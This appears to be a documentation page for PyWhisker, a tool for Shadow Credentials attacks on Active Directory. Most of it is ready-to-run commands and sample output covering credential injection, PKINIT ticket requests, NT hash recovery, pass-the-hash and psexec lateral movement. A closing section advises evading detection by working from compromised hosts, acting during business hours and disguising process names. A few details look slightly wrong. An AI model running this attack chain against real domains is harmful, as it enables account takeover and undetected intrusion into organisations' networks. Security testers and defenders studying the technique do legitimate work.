Ir al contenido

PyWhisker

PyWhisker is a Python implementation of Shadow Credentials attacks, allowing attackers to add Windows Hello for Business key credentials to Active Directory user or computer objects without knowing the target’s password. This enables PKINIT-based Kerberos pre-authentication to obtain a Ticket Granting Ticket (TGT).

Installation

Via pip

pip install pywhisker

From GitHub

git clone https://github.com/ShutdownRepo/pywhisker.git
cd pywhisker
pip install -r requirements.txt
python pywhisker.py -h

Dependencies

  • ldap3 — LDAP operations and AD authentication
  • dnfile — DNS name parsing
  • impacket — Kerberos and network protocol support
  • cryptography — Certificate and key handling
  • asn1crypto — ASN.1 encoding/decoding
pip install ldap3 dnfile impacket cryptography asn1crypto

Quick Start

Basic Shadow Credentials Addition

pywhisker -d example.com -u attacker -p 'Password123' --target victim_user --action add

List Existing Key Credentials

pywhisker -d example.com -u attacker -p 'Password123' --target victim_user --action list

Remove a Specific Credential

pywhisker -d example.com -u attacker -p 'Password123' --target victim_user --action remove --device-id <GUID>

How Shadow Credentials Work

Windows Hello for Business

Windows Hello for Business uses certificate-based authentication stored in the msDS-KeyCredentialLink multivalued attribute on AD objects. Each key credential contains:

  • Public key certificate
  • Device ID (GUID)
  • Custom marshaled key credential data

This AD attribute stores Windows Hello device credentials as KeyCredential structures. PyWhisker manipulates this attribute to inject attacker-controlled certificates, enabling authentication without the original password.

PKINIT Pre-Authentication

With a certificate in msDS-KeyCredentialLink, an attacker can use Public Key Cryptography for Initial Authentication (PKINIT) to request a TGT from the Key Distribution Center (KDC) using the injected certificate and private key.

No Password Required

The attack bypasses password-based authentication entirely. Once the credential is added, the attacker controls the private key and can authenticate as the target without knowing their password or NT hash.

Actions

ActionPurpose
listEnumerate existing key credentials on target object
addInject a new Windows Hello key credential
removeDelete a specific credential by device ID
clearRemove all key credentials from target
infoDisplay detailed information about a key credential

List Action

pywhisker -d example.com -u attacker -p 'Password123' --target victim --action list

Output displays device IDs and timestamps of existing credentials.

Add Action

pywhisker -d example.com -u attacker -p 'Password123' --target victim --action add

Generates a self-signed certificate and PFX file containing both certificate and private key. Output includes:

  • PFX file path
  • PFX password (required for usage)
  • Device ID of new credential

Remove Action

pywhisker -d example.com -u attacker -p 'Password123' --target victim --action remove --device-id "12345678-1234-5678-1234-567812345678"

Requires the exact device ID from a previous list operation.

Clear Action

pywhisker -d example.com -u attacker -p 'Password123' --target victim --action clear

Removes all key credentials. Use cautiously to avoid disrupting legitimate Windows Hello enrollments.

Info Action

pywhisker -d example.com -u attacker -p 'Password123' --target victim --action info --device-id "12345678-1234-5678-1234-567812345678"

Displays credential creation time and cryptographic details.

Authentication Options

Username and Password

pywhisker -d example.com -u attacker -p 'MyPassword' --target victim --action add

Standard AD credentials with write permissions to target object.

NT Hash (Pass-the-Hash)

pywhisker -d example.com -u attacker -H 'aad3b435b51404eeaad3b435b51404ee' --target victim --action add

Use NT hash instead of plaintext password for authentication.

LDAPS (Encrypted LDAP)

pywhisker -d example.com -u attacker -p 'Password123' --target victim --action add --use-ldaps

Uses LDAPS (port 636) for encrypted LDAP communication.

Domain Controller IP

pywhisker -d example.com -u attacker -p 'Password123' --target victim --dc-ip 192.168.1.10 --action add

Specify explicit DC IP instead of DNS resolution.

Kerberos Authentication

pywhisker -d example.com -u attacker -k --target victim --action add

Uses Kerberos authentication (requires valid TGT in cache via kinit).

Adding Shadow Credentials

Step 1: Inject Key Credential

pywhisker -d example.com -u attacker -p 'Password123' --target 'victim' --action add

Output:

[+] Generating certificate...
[+] Writing PFX to keyCredential.pfx
[+] PFX Password: AsDfGhJk1234!
[+] Device ID: 12345678-abcd-ef01-2345-6789abcdef01
[+] Key Credential added successfully

Step 2: Request TGT with PKINIT

Using PKINITtools (gettgtpkinit.py):

python gettgtpkinit.py -cert-pfx keyCredential.pfx -pfx-pass 'AsDfGhJk1234!' \
  -domain-netbios EXAMPLE -user-ccache victim.ccache example.com victim

Outputs Kerberos credential cache (.ccache file).

Step 3: Extract NT Hash

Using PKINITtools (getnthash.py):

python getnthash.py -key 'a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6' \
  EXAMPLE/victim victim_tgt.ccache

Recovers the target’s NT hash from the TGT session key (if PKINIT succeeds).

Full Attack Chain

1. Obtain Compromised Credentials

Start with credentials of a user with Write permissions to the target object (Domain Admin, Account Operator, or via ACL abuse).

2. Add Shadow Credential

pywhisker -d example.com -u 'EXAMPLE\attacker' -p 'CompromisedPass' \
  --target 'victim_user' --action add

Save the output PFX file and password.

3. Request TGT via PKINIT

python gettgtpkinit.py -cert-pfx keyCredential.pfx -pfx-pass 'PFXPassword' \
  -domain-netbios EXAMPLE -user-ccache victim.ccache example.com victim

4. Use TGT for Authentication

export KRB5CCNAME=victim.ccache
psexec.py -k -no-pass EXAMPLE/victim@target-host.example.com

Or dump the NT hash and perform pass-the-hash.

5. Clean Up

pywhisker -d example.com -u attacker -p 'Password123' \
  --target victim --action remove --device-id 'GUID-FROM-STEP-2'

Removing Credentials

Remove Single Credential

pywhisker -d example.com -u attacker -p 'Password123' --target victim \
  --action remove --device-id '12345678-abcd-ef01-2345-6789abcdef01'

Always clean up after engagement to avoid detection and system disruption.

Remove All Credentials

pywhisker -d example.com -u attacker -p 'Password123' --target victim --action clear

Use with caution; ensures no credentials remain but may affect legitimate users.

Verify Removal

pywhisker -d example.com -u attacker -p 'Password123' --target victim --action list

Confirm target’s key credential list is empty.

Targeting Options

User Accounts

pywhisker -d example.com -u attacker -p 'Password123' --target 'user@example.com' --action add

Target individual user objects for privilege escalation.

Computer Accounts

pywhisker -d example.com -u attacker -p 'Password123' --target 'COMPUTER$' --action add

Target machine accounts for lateral movement and persistence.

Distinguished Name Format

pywhisker -d example.com -u attacker -p 'Password123' \
  --target 'CN=victim,CN=Users,DC=example,DC=com' --action add

Use full DN for clarity when sAMAccountName is ambiguous.

Troubleshooting

LDAP Connection Errors

Error: Connection error: [Errno 61] Connection refused

Solution: Verify domain controller IP, confirm port 389 (LDAP) or 636 (LDAPS) is accessible, check firewall rules.

pywhisker -d example.com -u attacker -p 'Password123' -dc-ip 192.168.1.10 \
  --target victim --action add

Permission Denied

Error: [!] Insufficient permissions to modify target object

Solution: Verify user has Write permissions to msDS-KeyCredentialLink. Check group membership (Domain Admin, Account Operators) or target ACLs.

Certificate Generation Failures

Error: [!] Failed to generate certificate

Solution: Ensure cryptography and asn1crypto are installed; reinstall dependencies.

pip install --upgrade cryptography asn1crypto

Target Not Found

Error: [!] Target object not found in Active Directory

Solution: Verify target sAMAccountName exists; use --target 'DOMAIN\username' format or full DN.

pywhisker -d example.com -u attacker -p 'Password123' \
  --target 'EXAMPLE\victim' --action list

Best Practices

Operational Security

  • Perform actions from compromised systems or secured jump hosts, not directly from attacker infrastructure
  • Clean up credentials immediately after obtaining access
  • Use LDAPS to encrypt LDAP traffic over the network
  • Operate during normal business hours to blend with legitimate traffic

Privilege Requirements

  • Ensure compromise provides sufficient AD permissions before attempting attacks
  • Target users with high-value access (Domain Admins, database admins, backup operators)
  • Consider ACL abuse to grant write permissions if not currently present

Detection Evasion

  • Monitor for unusual msDS-KeyCredentialLink modifications in logs
  • Legitimate Windows Hello enrollment appears as well-spaced credentials
  • Multiple rapid credential additions may trigger alerts
  • Use legitimate tool names in process execution if possible

Evidence Handling

  • Document target DNs, device IDs, and timestamps for post-engagement cleanup
  • Maintain records of all added credentials for systematic removal
  • Test removal procedures in staging before production engagements
ToolPurpose
CertipyPython framework for Active Directory certificate abuse; includes shadow credential operations
Whisker.NET implementation of Shadow Credentials attacks
PKINITtoolsgettgtpkinit.py and getnthash.py for PKINIT-based TGT requests and NT hash recovery
Rubeus.NET tooling for Kerberos abuse; can work with PKINIT certificates
ntlmrelayxRelay NTLM authentication; useful for credential harvesting in attack chains
ImpacketNetwork protocol library; underlying support for PyWhisker functionality

References

  • Microsoft: Windows Hello for Business technical overview
  • Harmj0y’s research on Shadow Credentials and PKINIT attacks
  • ShutdownRepo PyWhisker GitHub repository
  • Certipy documentation on AD certificate abuse